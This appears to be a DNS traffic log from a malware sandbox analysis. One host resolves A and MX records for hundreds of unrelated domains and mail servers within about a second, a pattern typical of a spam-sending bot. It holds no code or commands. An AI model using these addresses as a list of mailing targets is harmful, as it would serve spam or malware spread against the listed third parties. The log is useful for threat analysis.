Dec 20, 2023 03:13:19.585046053 CET	1.1.1.1	192.168.2.4	0x7253	No error (0)	filmboxstudios.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.593838930 CET	1.1.1.1	192.168.2.4	0x1797	No error (0)	meltonhome.com		104.143.9.211	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.596585989 CET	1.1.1.1	192.168.2.4	0x504e	No error (0)	smithstar.com		3.64.163.50	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.596863985 CET	1.1.1.1	192.168.2.4	0x4da3	No error (0)	thomchick.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.600266933 CET	1.1.1.1	192.168.2.4	0xe456	No error (0)	aspmx.l.google.com		173.194.216.27	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.625600100 CET	1.1.1.1	192.168.2.4	0x4805	No error (0)	theseekerchurch.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:19.628616095 CET	1.1.1.1	192.168.2.4	0xe398	Name error (3)	cummingscreativegroup.net	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.633243084 CET	1.1.1.1	192.168.2.4	0x6007	No error (0)	tgcan.com		217.19.254.237	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.635068893 CET	1.1.1.1	192.168.2.4	0x7a57	No error (0)	walshfam.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.635068893 CET	1.1.1.1	192.168.2.4	0x7a57	No error (0)	walshfam.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.644783974 CET	1.1.1.1	192.168.2.4	0x6b49	No error (0)	schelberg.net		217.160.0.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.655077934 CET	1.1.1.1	192.168.2.4	0x6943	No error (0)	geoffreynolds.com.au		151.101.1.195	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.655077934 CET	1.1.1.1	192.168.2.4	0x6943	No error (0)	geoffreynolds.com.au		151.101.65.195	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.659806967 CET	1.1.1.1	192.168.2.4	0x77e8	Name error (3)	jcdnc.org	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.665309906 CET	1.1.1.1	192.168.2.4	0xa691	No error (0)	onjevilla.com		199.59.243.225	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.668807983 CET	1.1.1.1	192.168.2.4	0x632c	No error (0)	alt2.aspmx.l.google.com		209.85.202.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.670619965 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	goaeta.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.670619965 CET	1.1.1.1	192.168.2.4	0x9efc	No error (0)	goaeta.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.671753883 CET	1.1.1.1	192.168.2.4	0xd57d	No error (0)	mx1.emailsrvr.com		173.203.187.1	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.719466925 CET	1.1.1.1	192.168.2.4	0xc4a8	No error (0)	mx002.netsol.xion.oxcs.net		135.148.130.76	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.768235922 CET	1.1.1.1	192.168.2.4	0x93de	No error (0)	jayshreeautomation.com		166.62.28.100	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.771516085 CET	1.1.1.1	192.168.2.4	0xcf39	Name error (3)	mobiamericas-com.mail.protection.outlook.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.806996107 CET	1.1.1.1	192.168.2.4	0xe4a6	No error (0)	eb-concept.com		213.186.33.19	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.817200899 CET	1.1.1.1	192.168.2.4	0xe2cd	No error (0)	jgarch.com		69.49.101.57	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.819617987 CET	1.1.1.1	192.168.2.4	0xc803	No error (0)	go.active3d.dev		108.163.227.170	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.838983059 CET	1.1.1.1	192.168.2.4	0x33c4	No error (0)	ecochild.com.au		23.227.38.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.845005989 CET	1.1.1.1	192.168.2.4	0x7310	No error (0)	mx-mibc-fr-10.mailinblack.com		20.216.139.123	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.859679937 CET	1.1.1.1	192.168.2.4	0x2dff	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.859679937 CET	1.1.1.1	192.168.2.4	0x2dff	No error (0)	ontariobluejays-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.864702940 CET	1.1.1.1	192.168.2.4	0x788c	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.864702940 CET	1.1.1.1	192.168.2.4	0x788c	No error (0)	orangutech-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.888293982 CET	1.1.1.1	192.168.2.4	0x493	No error (0)	mx.avasin.plus.net		212.159.9.200	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.888293982 CET	1.1.1.1	192.168.2.4	0x493	No error (0)	mx.avasin.plus.net		212.159.8.200	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.917354107 CET	1.1.1.1	192.168.2.4	0xb9d7	No error (0)	mx01.kundenserver.de		217.72.192.67	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.924550056 CET	1.1.1.1	192.168.2.4	0x2ca5	No error (0)	nymalegigolos.com		160.124.181.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.947161913 CET	1.1.1.1	192.168.2.4	0xf3b2	Name error (3)	sachem.com.ar	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:19.960364103 CET	1.1.1.1	192.168.2.4	0xe54b	No error (0)	mail.rosetre.com	shared70.accountservergroup.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:19.960364103 CET	1.1.1.1	192.168.2.4	0xe54b	No error (0)	shared70.accountservergroup.com		162.215.248.42	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.042304039 CET	1.1.1.1	192.168.2.4	0xc7cb	Name error (3)	x-woofer.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.058674097 CET	1.1.1.1	192.168.2.4	0x3bcf	No error (0)	horsetech.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.085304976 CET	1.1.1.1	192.168.2.4	0xae9f	Name error (3)	dfc.nettw	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.093692064 CET	1.1.1.1	192.168.2.4	0x9634	Name error (3)	4ku9ipwefstyxr.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.098265886 CET	1.1.1.1	192.168.2.4	0xbc34	No error (0)	alt1.aspmx.l.google.com		64.233.186.26	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.098278999 CET	1.1.1.1	192.168.2.4	0xe379	No error (0)	aspmx3.googlemail.com		209.85.202.27	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.100325108 CET	1.1.1.1	192.168.2.4	0x4d19	Name error (3)	curtisoutland.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.104027033 CET	1.1.1.1	192.168.2.4	0x5c85	No error (0)	iconcap.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.104027033 CET	1.1.1.1	192.168.2.4	0x5c85	No error (0)	iconcap.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.104027033 CET	1.1.1.1	192.168.2.4	0x5c85	No error (0)	iconcap.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.104027033 CET	1.1.1.1	192.168.2.4	0x5c85	No error (0)	iconcap.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.104027033 CET	1.1.1.1	192.168.2.4	0x5c85	No error (0)	iconcap.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.108979940 CET	1.1.1.1	192.168.2.4	0xa85e	Name error (3)	youre.a.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.109102011 CET	1.1.1.1	192.168.2.4	0xcbe4	Name error (3)	ilovetechno.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.113852978 CET	1.1.1.1	192.168.2.4	0xa904	No error (0)	soytijuana.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.113852978 CET	1.1.1.1	192.168.2.4	0xa904	No error (0)	soytijuana.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.113852978 CET	1.1.1.1	192.168.2.4	0xa904	No error (0)	soytijuana.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.113852978 CET	1.1.1.1	192.168.2.4	0xa904	No error (0)	soytijuana.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.113852978 CET	1.1.1.1	192.168.2.4	0xa904	No error (0)	soytijuana.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114020109 CET	1.1.1.1	192.168.2.4	0x73af	No error (0)	pricklypearworks.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114020109 CET	1.1.1.1	192.168.2.4	0x73af	No error (0)	pricklypearworks.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114020109 CET	1.1.1.1	192.168.2.4	0x73af	No error (0)	pricklypearworks.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114020109 CET	1.1.1.1	192.168.2.4	0x73af	No error (0)	pricklypearworks.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114020109 CET	1.1.1.1	192.168.2.4	0x73af	No error (0)	pricklypearworks.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.114545107 CET	1.1.1.1	192.168.2.4	0xaab5	Name error (3)	bsboil.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.116214037 CET	1.1.1.1	192.168.2.4	0xe7fa	Name error (3)	zhelen.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.125520945 CET	1.1.1.1	192.168.2.4	0x92ae	No error (0)	web99.dnchosting.com		192.64.150.99	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.125956059 CET	1.1.1.1	192.168.2.4	0xc463	No error (0)	mx3c11.megamailservers.com		69.49.101.236	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.126828909 CET	1.1.1.1	192.168.2.4	0xd429	Name error (3)	clsunlimited.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.127420902 CET	1.1.1.1	192.168.2.4	0xe6e0	Name error (3)	njbkrl.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.129041910 CET	1.1.1.1	192.168.2.4	0x9414	Name error (3)	alnajah.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.131937027 CET	1.1.1.1	192.168.2.4	0x58eb	No error (0)	qihabitats.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.131937027 CET	1.1.1.1	192.168.2.4	0x58eb	No error (0)	qihabitats.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.131937027 CET	1.1.1.1	192.168.2.4	0x58eb	No error (0)	qihabitats.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.131937027 CET	1.1.1.1	192.168.2.4	0x58eb	No error (0)	qihabitats.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.131937027 CET	1.1.1.1	192.168.2.4	0x58eb	No error (0)	qihabitats.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.139924049 CET	1.1.1.1	192.168.2.4	0xb72a	Name error (3)	dekoracio.net	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.141196012 CET	1.1.1.1	192.168.2.4	0x602f	Name error (3)	gatewayseweranddrain.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142057896 CET	1.1.1.1	192.168.2.4	0x4709	No error (0)	bvox.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142522097 CET	1.1.1.1	192.168.2.4	0xa46b	No error (0)	riovista.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.142723083 CET	1.1.1.1	192.168.2.4	0xef5	Name error (3)	remafer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.144731045 CET	1.1.1.1	192.168.2.4	0x311b	No error (0)	artusopastry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.144731045 CET	1.1.1.1	192.168.2.4	0x311b	No error (0)	artusopastry.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.146243095 CET	1.1.1.1	192.168.2.4	0x7ee8	No error (0)	mx1.ovh.net		188.165.47.122	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.147270918 CET	1.1.1.1	192.168.2.4	0xffab	No error (0)	eurobay-mk.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.147270918 CET	1.1.1.1	192.168.2.4	0xffab	No error (0)	eurobay-mk.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.148075104 CET	1.1.1.1	192.168.2.4	0x98db	No error (0)	majormega.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.152997971 CET	1.1.1.1	192.168.2.4	0x1182	Name error (3)	fzdwiq.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.154040098 CET	1.1.1.1	192.168.2.4	0xef05	Name error (3)	justhelpthyself.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.158655882 CET	1.1.1.1	192.168.2.4	0xa8b1	Name error (3)	yjroeown.com	none	none	MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.160873890 CET	1.1.1.1	192.168.2.4	0xe902	No error (0)	artusopastry.com		23.227.38.32	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.162040949 CET	1.1.1.1	192.168.2.4	0x74ea	No error (0)	uniqueaustralian.com	traff-1.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:20.162040949 CET	1.1.1.1	192.168.2.4	0x74ea	No error (0)	traff-1.hugedomains.com	hdr-nlb9-41371129e8304c29.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2023 03:13:20.163038969 CET	1.1.1.1	192.168.2.4	0xb836	Name error (3)	dfc.nettw	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.163907051 CET	1.1.1.1	192.168.2.4	0xe5fe	No error (0)	majormega.com		104.21.20.204	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.163907051 CET	1.1.1.1	192.168.2.4	0xe5fe	No error (0)	majormega.com		172.67.194.101	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.168823004 CET	1.1.1.1	192.168.2.4	0xc17	No error (0)	d212283.a.ess.uk.barracudanetworks.com		18.133.136.187	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.168823004 CET	1.1.1.1	192.168.2.4	0xc17	No error (0)	d212283.a.ess.uk.barracudanetworks.com		18.133.136.186	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.168823004 CET	1.1.1.1	192.168.2.4	0xc17	No error (0)	d212283.a.ess.uk.barracudanetworks.com		18.133.136.188	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.171298027 CET	1.1.1.1	192.168.2.4	0xc2b2	No error (0)	lsmnutrition.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.178745985 CET	1.1.1.1	192.168.2.4	0xab0c	No error (0)	cyadp.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.179331064 CET	1.1.1.1	192.168.2.4	0x1cde	No error (0)	u90soccercenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.179331064 CET	1.1.1.1	192.168.2.4	0x1cde	No error (0)	u90soccercenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.179331064 CET	1.1.1.1	192.168.2.4	0x1cde	No error (0)	u90soccercenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.179331064 CET	1.1.1.1	192.168.2.4	0x1cde	No error (0)	u90soccercenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.179331064 CET	1.1.1.1	192.168.2.4	0x1cde	No error (0)	u90soccercenter.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.183650970 CET	1.1.1.1	192.168.2.4	0x84ed	Name error (3)	shopeeten.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.185112000 CET	1.1.1.1	192.168.2.4	0x8893	No error (0)	atelcommunications.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.187336922 CET	1.1.1.1	192.168.2.4	0x95b	Name error (3)	4ku9ipwefstyxr.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.187899113 CET	1.1.1.1	192.168.2.4	0xc5a3	Name error (3)	clsunlimited.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.188500881 CET	1.1.1.1	192.168.2.4	0x3fc2	No error (0)	devnetmedia.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.188500881 CET	1.1.1.1	192.168.2.4	0x3fc2	No error (0)	devnetmedia.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.196954012 CET	1.1.1.1	192.168.2.4	0xcca4	No error (0)	recipe-for-kids.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.197796106 CET	1.1.1.1	192.168.2.4	0x5a36	Name error (3)	justhelpthyself.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.198537111 CET	1.1.1.1	192.168.2.4	0xee93	No error (0)	hildebrandlegacy.org		192.64.119.142	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.198724985 CET	1.1.1.1	192.168.2.4	0xd2dd	No error (0)	justinsweet.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.201502085 CET	1.1.1.1	192.168.2.4	0x6d11	Name error (3)	youre.a.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204530954 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	hildebrandlegacy.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204530954 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	hildebrandlegacy.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204530954 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	hildebrandlegacy.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204530954 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	hildebrandlegacy.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204530954 CET	1.1.1.1	192.168.2.4	0xd489	No error (0)	hildebrandlegacy.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.204673052 CET	1.1.1.1	192.168.2.4	0xd9e2	No error (0)	rushroom.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.216025114 CET	1.1.1.1	192.168.2.4	0x19d3	No error (0)	engelgau.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.216025114 CET	1.1.1.1	192.168.2.4	0x19d3	No error (0)	engelgau.net			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.216557980 CET	1.1.1.1	192.168.2.4	0x549f	Name error (3)	zhelen.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.216931105 CET	1.1.1.1	192.168.2.4	0x9ac0	No error (0)	smtp1.rehau.com		195.145.184.85	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.218164921 CET	1.1.1.1	192.168.2.4	0xb3f5	No error (0)	horsetech.com		209.126.24.60	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.219327927 CET	1.1.1.1	192.168.2.4	0xf513	Name error (3)	curtisoutland.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.222254038 CET	1.1.1.1	192.168.2.4	0xc78d	No error (0)	pricklypearworks.com		15.197.142.173	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.222254038 CET	1.1.1.1	192.168.2.4	0xc78d	No error (0)	pricklypearworks.com		3.33.152.147	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.223422050 CET	1.1.1.1	192.168.2.4	0xe1f9	Name error (3)	x-woofer.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.224812031 CET	1.1.1.1	192.168.2.4	0xb101	No error (0)	lsmnutrition.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.224812031 CET	1.1.1.1	192.168.2.4	0xb101	No error (0)	lsmnutrition.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.225480080 CET	1.1.1.1	192.168.2.4	0x7ab9	No error (0)	twohillsstudio.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.225480080 CET	1.1.1.1	192.168.2.4	0x7ab9	No error (0)	twohillsstudio.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.228470087 CET	1.1.1.1	192.168.2.4	0x6452	Name error (3)	fzdwiq.com	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.232033014 CET	1.1.1.1	192.168.2.4	0x3751	No error (0)	carisfoundationintl.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.232033014 CET	1.1.1.1	192.168.2.4	0x3751	No error (0)	carisfoundationintl.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.232033014 CET	1.1.1.1	192.168.2.4	0x3751	No error (0)	carisfoundationintl.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.232033014 CET	1.1.1.1	192.168.2.4	0x3751	No error (0)	carisfoundationintl.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.232033014 CET	1.1.1.1	192.168.2.4	0x3751	No error (0)	carisfoundationintl.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.235850096 CET	1.1.1.1	192.168.2.4	0x6a93	No error (0)	maatinus.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.238013983 CET	1.1.1.1	192.168.2.4	0xeb5f	No error (0)	inhofer.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.238013983 CET	1.1.1.1	192.168.2.4	0xeb5f	No error (0)	inhofer.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.242412090 CET	1.1.1.1	192.168.2.4	0x196e	No error (0)	ads-ecuador.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.249398947 CET	1.1.1.1	192.168.2.4	0x16f7	No error (0)	engelgau.net		205.178.189.129	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.250412941 CET	1.1.1.1	192.168.2.4	0x4c81	No error (0)	iconcap.com		45.56.74.212	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.253635883 CET	1.1.1.1	192.168.2.4	0xc8bd	No error (0)	soytijuana.com		162.255.119.149	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.255590916 CET	1.1.1.1	192.168.2.4	0x11f3	No error (0)	theseekerchurch.com		216.40.47.17	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.262973070 CET	1.1.1.1	192.168.2.4	0xa32f	No error (0)	ccs1.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.262973070 CET	1.1.1.1	192.168.2.4	0xa32f	No error (0)	ccs1.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.262973070 CET	1.1.1.1	192.168.2.4	0xa32f	No error (0)	ccs1.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.262973070 CET	1.1.1.1	192.168.2.4	0xa32f	No error (0)	ccs1.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.262973070 CET	1.1.1.1	192.168.2.4	0xa32f	No error (0)	ccs1.org			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.268850088 CET	1.1.1.1	192.168.2.4	0xd1a6	No error (0)	entexclusives.com		172.67.181.211	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.268850088 CET	1.1.1.1	192.168.2.4	0xd1a6	No error (0)	entexclusives.com		104.21.18.123	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.273088932 CET	1.1.1.1	192.168.2.4	0xdecd	No error (0)	justinsweet.com		76.223.105.230	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.273088932 CET	1.1.1.1	192.168.2.4	0xdecd	No error (0)	justinsweet.com		13.248.243.5	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.280225039 CET	1.1.1.1	192.168.2.4	0x6bfb	No error (0)	guymassey.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.280225039 CET	1.1.1.1	192.168.2.4	0x6bfb	No error (0)	guymassey.com			MX (Mail exchange)	IN (0x0001)	false
Dec 20, 2023 03:13:20.286695004 CET	1.1.1.1	192.168.2.4	0x163e	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.0	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.286695004 CET	1.1.1.1	192.168.2.4	0x163e	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.30	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.286695004 CET	1.1.1.1	192.168.2.4	0x163e	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.137.2	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.286695004 CET	1.1.1.1	192.168.2.4	0x163e	No error (0)	micresearch-net.mail.protection.outlook.com		52.101.132.28	A (IP address)	IN (0x0001)	false
Dec 20, 2023 03:13:20.287020922 CET	1.1.1.1	192.168.2.4	0xb0fa	No error (0)	texasopendoor.com			MX (Mail exchange)	IN (0x0001)	false
